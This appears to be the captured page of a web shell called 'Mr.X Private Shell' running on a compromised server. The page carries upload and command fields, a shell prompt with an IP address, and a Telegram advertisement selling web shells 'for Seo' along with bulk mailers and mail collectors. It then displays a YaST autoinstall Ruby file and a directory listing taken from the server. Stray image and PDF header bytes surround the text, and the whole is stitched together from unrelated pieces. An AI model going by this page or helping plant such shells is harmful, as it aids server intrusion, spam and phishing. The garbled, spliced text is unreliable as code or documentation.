xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
# encoding: utf-8

# File:	include/tree.ycp
# Package:	Auto-installation/Partition
# Summary:     helper functions for dealing with tree widget
# Author:	Sven Schober (sschober@suse.de)
#
# $Id: tree.ycp 2805 2008-05-27 15:12:42Z sschober $
module Yast
  module AutoinstallTreeInclude
    def initialize_autoinstall_tree(include_target)
      Yast.import "UI"
      Yast.include include_target, "autoinstall/common.rb"

      # name of tree widget to be displayed (in storage dialog)
      @sTree = :tree
      # common way to refer to the tree widget id
      @iTree = Id(@sTree)
    end

    # Set tree widget to tree represented by newTree
    #
    # @param [Array<Yast::Term>] newTree tree to display.
    def setTree(newTree)
      newTree = deep_copy(newTree)
      UI.ChangeWidget(@iTree, :Items, newTree)

      nil
    end

    # Get the currently selected tree item id string.
    #
    # @return Item id string that is currently selected.
    def currentTreeItem
      symbol2string(Convert.to_symbol(UI.QueryWidget(@iTree, :Value)))
    end

    # Searches through term t recursively looking for an arg of
    # type string which is equal to s. This function is neccessary
    # due to the nature trees are stored/represented in the tree
    # widget.
    #
    # @param [Yast::Term] t The term to inspect.
    # @param [Symbol] s The symbol to look for.
    def termContains(t, s)
      t = deep_copy(t)
      # if term itself is named like s -> yes, contains
      return true if s == Builtins.symbolof(t)
      # other wise inspect arguments
      args = Builtins.argsof(t)
      found = false
      Builtins.foreach(args) do |e|
        if Ops.is_term?(e)
          found = termContains(Convert.to_term(e), s)
          raise Break if found
        elsif Ops.is(e, "list <term>")
          found = isContainedInTree(
            s,
            Convert.convert(e, :from => "any", :to => "list <term>")
          )
          raise Break if found
        elsif Ops.is_symbol?(e) && s == Convert.to_symbol(e)
          found = true
          raise Break
        end
      end
      found
    end
    def isContainedInTree(s, tree)
      tree = deep_copy(tree)
      found = false
      Builtins.foreach(tree) do |item|
        if termContains(item, s)
          found = true
          raise Break
        end
      end
      found
    end

    # Select item 'newItem' in tree.
    #
    # @return true if item exists in tree (and was selected), false
    # otherwise
    def selectTreeItem(newItem)
      item = string2symbol(newItem)
      allItems = []
      allItems = Convert.convert(
        UI.QueryWidget(@iTree, :Items),
        :from => "any",
        :to   => "list <term>"
      )
      if isContainedInTree(item, allItems)
        UI.ChangeWidget(@iTree, :CurrentItem, item)
        return true
      end
      Builtins.y2warning("Item '%1' not found in tree", item)
      Builtins.y2debug("Tree was '%1'", allItems)
      false
    end

    # Wrapper function to create a new tree node
    #
    # @param [String] reference Tree item id string (e.g. "part_2_0")
    # @param [String] name Tree node name, displayed in widget
    # @param [Array<Yast::Term>] children list of child nodes
    def createTreeNode(reference, name, children)
      children = deep_copy(children)
      result = Empty()
      if 0 == Builtins.size(children)
        result = Item(Id(string2symbol(reference)), name)
      else
        result = Item(Id(string2symbol(reference)), name, true, children)
      end
      Builtins.y2milestone("new node: '%1'", result)
      deep_copy(result)
    end
  end
end

Filemanager

Name Type Size Permission Actions
AdvancedPartitionDialog.rb File 6.5 KB 0644
DriveDialog.rb File 6.74 KB 0644
PartitionDialog.rb File 23.36 KB 0644
StorageDialog.rb File 8.99 KB 0644
VolgroupDialog.rb File 5.03 KB 0644
ask.rb File 22.33 KB 0644
autoinst_dialogs.rb File 5.23 KB 0644
autopart.rb File 86.81 KB 0644
classes.rb File 18.55 KB 0644
common.rb File 3.17 KB 0644
conftree.rb File 26.49 KB 0644
dialogs.rb File 14.39 KB 0644
general_dialogs.rb File 36.92 KB 0644
helps.rb File 3.46 KB 0644
io.rb File 1.11 KB 0644
script_dialogs.rb File 15.31 KB 0644
tree.rb File 3.52 KB 0644
types.rb File 379 B 0644
wizards.rb File 2.15 KB 0644
xml.rb File 5.92 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1